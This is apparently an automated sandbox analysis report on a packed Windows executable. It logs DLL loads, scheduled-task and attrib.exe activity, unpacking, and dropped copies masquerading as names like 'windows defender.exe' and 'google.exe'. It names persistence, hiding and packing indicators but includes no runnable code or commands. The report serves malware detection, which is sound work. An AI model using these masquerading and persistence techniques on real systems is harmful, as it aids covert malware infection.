Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll

Source: C:\Users\user\Desktop\DQmU06kq9I.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\InProcServer32

Detected unpacking (changes PE section rights)

Source: DQmU06kq9I.lnk.0.dr

LNK file: ..\..\..\..\..\..\..\Desktop\DQmU06kq9I.exe

Source: DQmU06kq9I.exe

Static file information: File size 1763328 > 1048576

Source: DQmU06kq9I.exe

Static PE information: Raw size of fsrfimey is bigger than: 0x100000 < 0x1a3c00

Source:

Data Obfuscation

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Unpacked PE file: 0.2.DQmU06kq9I.exe.550000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fsrfimey:EW;mhpawist:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Unpacked PE file: 9.2.DQmU06kq9I.exe.550000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fsrfimey:EW;mhpawist:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: reference assemblies.exe.0.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: windows defender.exe.0.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: mavdwwsoqjljtvhgturlqfwslqtpryboqwmbsicodmvqkq.exe.0.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: microsoft office.exe.0.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: internet explorer.exe.0.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: microsoft.exe.0.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: google.exe.0.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: msbuild.exe.0.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: mozilla maintenance service.exe.0.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: windows nt.exe.0.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: windowspowershell.exe.0.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: DQmU06kq9I.exe	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: windows portable devices.exe.0.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: windows photo viewer.exe.0.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: autoit3.exe.0.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: microsoft.net.exe.0.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: common files.exe.0.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: windows sidebar.exe.0.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: java.exe.0.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: msecache.exe.0.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: windows multimedia platform.exe.0.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: jdownloader.exe.0.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: windows media player.exe.0.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398
Source: windows mail.exe.0.dr	Static PE information: real checksum: 0x1bc7f7 should be: 0x1ba398

Source: DQmU06kq9I.exe	Static PE information: section name:
Source: DQmU06kq9I.exe	Static PE information: section name: .idata
Source: DQmU06kq9I.exe	Static PE information: section name:
Source: DQmU06kq9I.exe	Static PE information: section name: fsrfimey
Source: DQmU06kq9I.exe	Static PE information: section name: mhpawist
Source: DQmU06kq9I.exe	Static PE information: section name: .taggant
Source: windows multimedia platform.exe.0.dr	Static PE information: section name:
Source: windows multimedia platform.exe.0.dr	Static PE information: section name: .idata
Source: windows multimedia platform.exe.0.dr	Static PE information: section name:
Source: windows multimedia platform.exe.0.dr	Static PE information: section name: fsrfimey
Source: windows multimedia platform.exe.0.dr	Static PE information: section name: mhpawist
Source: windows multimedia platform.exe.0.dr	Static PE information: section name: .taggant
Source: windows nt.exe.0.dr	Static PE information: section name:
Source: windows nt.exe.0.dr	Static PE information: section name: .idata
Source: windows nt.exe.0.dr	Static PE information: section name:
Source: windows nt.exe.0.dr	Static PE information: section name: fsrfimey
Source: windows nt.exe.0.dr	Static PE information: section name: mhpawist
Source: windows nt.exe.0.dr	Static PE information: section name: .taggant
Source: windows photo viewer.exe.0.dr	Static PE information: section name:
Source: windows photo viewer.exe.0.dr	Static PE information: section name: .idata
Source: windows photo viewer.exe.0.dr	Static PE information: section name:
Source: windows photo viewer.exe.0.dr	Static PE information: section name: fsrfimey
Source: windows photo viewer.exe.0.dr	Static PE information: section name: mhpawist
Source: windows photo viewer.exe.0.dr	Static PE information: section name: .taggant
Source: windows portable devices.exe.0.dr	Static PE information: section name:
Source: windows portable devices.exe.0.dr	Static PE information: section name: .idata
Source: windows portable devices.exe.0.dr	Static PE information: section name:
Source: windows portable devices.exe.0.dr	Static PE information: section name: fsrfimey
Source: windows portable devices.exe.0.dr	Static PE information: section name: mhpawist
Source: windows portable devices.exe.0.dr	Static PE information: section name: .taggant
Source: windows sidebar.exe.0.dr	Static PE information: section name:
Source: windows sidebar.exe.0.dr	Static PE information: section name: .idata
Source: windows sidebar.exe.0.dr	Static PE information: section name:
Source: windows sidebar.exe.0.dr	Static PE information: section name: fsrfimey
Source: windows sidebar.exe.0.dr	Static PE information: section name: mhpawist
Source: windows sidebar.exe.0.dr	Static PE information: section name: .taggant
Source: autoit3.exe.0.dr	Static PE information: section name:
Source: autoit3.exe.0.dr	Static PE information: section name: .idata
Source: autoit3.exe.0.dr	Static PE information: section name:
Source: autoit3.exe.0.dr	Static PE information: section name: fsrfimey
Source: autoit3.exe.0.dr	Static PE information: section name: mhpawist
Source: autoit3.exe.0.dr	Static PE information: section name: .taggant
Source: windowspowershell.exe.0.dr	Static PE information: section name:
Source: windowspowershell.exe.0.dr	Static PE information: section name: .idata
Source: windowspowershell.exe.0.dr	Static PE information: section name:
Source: windowspowershell.exe.0.dr	Static PE information: section name: fsrfimey
Source: windowspowershell.exe.0.dr	Static PE information: section name: mhpawist
Source: windowspowershell.exe.0.dr	Static PE information: section name: .taggant
Source: common files.exe.0.dr	Static PE information: section name:
Source: common files.exe.0.dr	Static PE information: section name: .idata
Source: common files.exe.0.dr	Static PE information: section name:
Source: common files.exe.0.dr	Static PE information: section name: fsrfimey
Source: common files.exe.0.dr	Static PE information: section name: mhpawist
Source: common files.exe.0.dr	Static PE information: section name: .taggant
Source: google.exe.0.dr	Static PE information: section name:
Source: google.exe.0.dr	Static PE information: section name: .idata
Source: google.exe.0.dr	Static PE information: section name:
Source: google.exe.0.dr	Static PE information: section name: fsrfimey
Source: google.exe.0.dr	Static PE information: section name: mhpawist
Source: google.exe.0.dr	Static PE information: section name: .taggant
Source: internet explorer.exe.0.dr	Static PE information: section name:
Source: internet explorer.exe.0.dr	Static PE information: section name: .idata
Source: internet explorer.exe.0.dr	Static PE information: section name:
Source: internet explorer.exe.0.dr	Static PE information: section name: fsrfimey
Source: internet explorer.exe.0.dr	Static PE information: section name: mhpawist
Source: internet explorer.exe.0.dr	Static PE information: section name: .taggant
Source: java.exe.0.dr	Static PE information: section name:
Source: java.exe.0.dr	Static PE information: section name: .idata
Source: java.exe.0.dr	Static PE information: section name:
Source: java.exe.0.dr	Static PE information: section name: fsrfimey
Source: java.exe.0.dr	Static PE information: section name: mhpawist
Source: java.exe.0.dr	Static PE information: section name: .taggant
Source: jdownloader.exe.0.dr	Static PE information: section name:
Source: jdownloader.exe.0.dr	Static PE information: section name: .idata
Source: jdownloader.exe.0.dr	Static PE information: section name:
Source: jdownloader.exe.0.dr	Static PE information: section name: fsrfimey
Source: jdownloader.exe.0.dr	Static PE information: section name: mhpawist
Source: jdownloader.exe.0.dr	Static PE information: section name: .taggant
Source: mavdwwsoqjljtvhgturlqfwslqtpryboqwmbsicodmvqkq.exe.0.dr	Static PE information: section name:
Source: mavdwwsoqjljtvhgturlqfwslqtpryboqwmbsicodmvqkq.exe.0.dr	Static PE information: section name: .idata
Source: mavdwwsoqjljtvhgturlqfwslqtpryboqwmbsicodmvqkq.exe.0.dr	Static PE information: section name:
Source: mavdwwsoqjljtvhgturlqfwslqtpryboqwmbsicodmvqkq.exe.0.dr	Static PE information: section name: fsrfimey
Source: mavdwwsoqjljtvhgturlqfwslqtpryboqwmbsicodmvqkq.exe.0.dr	Static PE information: section name: mhpawist
Source: mavdwwsoqjljtvhgturlqfwslqtpryboqwmbsicodmvqkq.exe.0.dr	Static PE information: section name: .taggant
Source: microsoft.exe.0.dr	Static PE information: section name:
Source: microsoft.exe.0.dr	Static PE information: section name: .idata
Source: microsoft.exe.0.dr	Static PE information: section name:
Source: microsoft.exe.0.dr	Static PE information: section name: fsrfimey
Source: microsoft.exe.0.dr	Static PE information: section name: mhpawist
Source: microsoft.exe.0.dr	Static PE information: section name: .taggant
Source: microsoft office.exe.0.dr	Static PE information: section name:
Source: microsoft office.exe.0.dr	Static PE information: section name: .idata
Source: microsoft office.exe.0.dr	Static PE information: section name:
Source: microsoft office.exe.0.dr	Static PE information: section name: fsrfimey
Source: microsoft office.exe.0.dr	Static PE information: section name: mhpawist
Source: microsoft office.exe.0.dr	Static PE information: section name: .taggant
Source: microsoft.net.exe.0.dr	Static PE information: section name:
Source: microsoft.net.exe.0.dr	Static PE information: section name: .idata
Source: microsoft.net.exe.0.dr	Static PE information: section name:
Source: microsoft.net.exe.0.dr	Static PE information: section name: fsrfimey
Source: microsoft.net.exe.0.dr	Static PE information: section name: mhpawist
Source: microsoft.net.exe.0.dr	Static PE information: section name: .taggant
Source: mozilla maintenance service.exe.0.dr	Static PE information: section name:
Source: mozilla maintenance service.exe.0.dr	Static PE information: section name: .idata
Source: mozilla maintenance service.exe.0.dr	Static PE information: section name:
Source: mozilla maintenance service.exe.0.dr	Static PE information: section name: fsrfimey
Source: mozilla maintenance service.exe.0.dr	Static PE information: section name: mhpawist
Source: mozilla maintenance service.exe.0.dr	Static PE information: section name: .taggant
Source: msbuild.exe.0.dr	Static PE information: section name:
Source: msbuild.exe.0.dr	Static PE information: section name: .idata
Source: msbuild.exe.0.dr	Static PE information: section name:
Source: msbuild.exe.0.dr	Static PE information: section name: fsrfimey
Source: msbuild.exe.0.dr	Static PE information: section name: mhpawist
Source: msbuild.exe.0.dr	Static PE information: section name: .taggant
Source: msecache.exe.0.dr	Static PE information: section name:
Source: msecache.exe.0.dr	Static PE information: section name: .idata
Source: msecache.exe.0.dr	Static PE information: section name:
Source: msecache.exe.0.dr	Static PE information: section name: fsrfimey
Source: msecache.exe.0.dr	Static PE information: section name: mhpawist
Source: msecache.exe.0.dr	Static PE information: section name: .taggant
Source: reference assemblies.exe.0.dr	Static PE information: section name:
Source: reference assemblies.exe.0.dr	Static PE information: section name: .idata
Source: reference assemblies.exe.0.dr	Static PE information: section name:
Source: reference assemblies.exe.0.dr	Static PE information: section name: fsrfimey
Source: reference assemblies.exe.0.dr	Static PE information: section name: mhpawist
Source: reference assemblies.exe.0.dr	Static PE information: section name: .taggant
Source: windows defender.exe.0.dr	Static PE information: section name:
Source: windows defender.exe.0.dr	Static PE information: section name: .idata
Source: windows defender.exe.0.dr	Static PE information: section name:
Source: windows defender.exe.0.dr	Static PE information: section name: fsrfimey
Source: windows defender.exe.0.dr	Static PE information: section name: mhpawist
Source: windows defender.exe.0.dr	Static PE information: section name: .taggant
Source: windows mail.exe.0.dr	Static PE information: section name:
Source: windows mail.exe.0.dr	Static PE information: section name: .idata
Source: windows mail.exe.0.dr	Static PE information: section name:
Source: windows mail.exe.0.dr	Static PE information: section name: fsrfimey
Source: windows mail.exe.0.dr	Static PE information: section name: mhpawist
Source: windows mail.exe.0.dr	Static PE information: section name: .taggant
Source: windows media player.exe.0.dr	Static PE information: section name:
Source: windows media player.exe.0.dr	Static PE information: section name: .idata
Source: windows media player.exe.0.dr	Static PE information: section name:
Source: windows media player.exe.0.dr	Static PE information: section name: fsrfimey
Source: windows media player.exe.0.dr	Static PE information: section name: mhpawist
Source: windows media player.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 0_2_07C31310 push eax; ret	0_2_07C312E2
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 0_2_07C312C8 push eax; ret	0_2_07C312D2
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 0_2_07C312D8 push eax; ret	0_2_07C312E2
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 0_2_07C312E8 push eax; ret	0_2_07C312F2
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 0_2_07C31288 push eax; ret	0_2_07C312C2
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 9_2_07AD0FA0 push eax; ret	9_2_07AD0FAA
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 9_2_07AD0F80 push eax; ret	9_2_07AD0F8A
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 9_2_07AD0F90 push eax; ret	9_2_07AD0F9A
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 9_2_07AD0FC8 push eax; ret	9_2_07AD0F9A
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Code function: 9_2_07AD0F62 push eax; ret	9_2_07AD0F7A

Source: DQmU06kq9I.exe	Static PE information: section name: entropy: 7.964759279856404
Source: DQmU06kq9I.exe	Static PE information: section name: fsrfimey entropy: 7.953315584919624
Source: windows multimedia platform.exe.0.dr	Static PE information: section name: entropy: 7.964759279856404
Source: windows multimedia platform.exe.0.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624
Source: windows nt.exe.0.dr	Static PE information: section name: entropy: 7.964759279856404
Source: windows nt.exe.0.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624
Source: windows photo viewer.exe.0.dr	Static PE information: section name: entropy: 7.964759279856404
Source: windows photo viewer.exe.0.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624
Source: windows portable devices.exe.0.dr	Static PE information: section name: entropy: 7.964759279856404
Source: windows portable devices.exe.0.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624
Source: windows sidebar.exe.0.dr	Static PE information: section name: entropy: 7.964759279856404
Source: windows sidebar.exe.0.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624
Source: autoit3.exe.0.dr	Static PE information: section name: entropy: 7.964759279856404
Source: autoit3.exe.0.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624
Source: windowspowershell.exe.0.dr	Static PE information: section name: entropy: 7.964759279856404
Source: windowspowershell.exe.0.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624
Source: common files.exe.0.dr	Static PE information: section name: entropy: 7.964759279856404
Source: common files.exe.0.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624
Source: google.exe.0.dr	Static PE information: section name: entropy: 7.964759279856404
Source: google.exe.0.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624
Source: internet explorer.exe.0.dr	Static PE information: section name: entropy: 7.964759279856404
Source: internet explorer.exe.0.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624
Source: java.exe.0.dr	Static PE information: section name: entropy: 7.964759279856404
Source: java.exe.0.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624
Source: jdownloader.exe.0.dr	Static PE information: section name: entropy: 7.964759279856404
Source: jdownloader.exe.0.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624
Source: mavdwwsoqjljtvhgturlqfwslqtpryboqwmbsicodmvqkq.exe.0.dr	Static PE information: section name: entropy: 7.964759279856404
Source: mavdwwsoqjljtvhgturlqfwslqtpryboqwmbsicodmvqkq.exe.0.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624
Source: microsoft.exe.0.dr	Static PE information: section name: entropy: 7.964759279856404
Source: microsoft.exe.0.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624
Source: microsoft office.exe.0.dr	Static PE information: section name: entropy: 7.964759279856404
Source: microsoft office.exe.0.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624
Source: microsoft.net.exe.0.dr	Static PE information: section name: entropy: 7.964759279856404
Source: microsoft.net.exe.0.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624
Source: mozilla maintenance service.exe.0.dr	Static PE information: section name: entropy: 7.964759279856404
Source: mozilla maintenance service.exe.0.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624
Source: msbuild.exe.0.dr	Static PE information: section name: entropy: 7.964759279856404
Source: msbuild.exe.0.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624
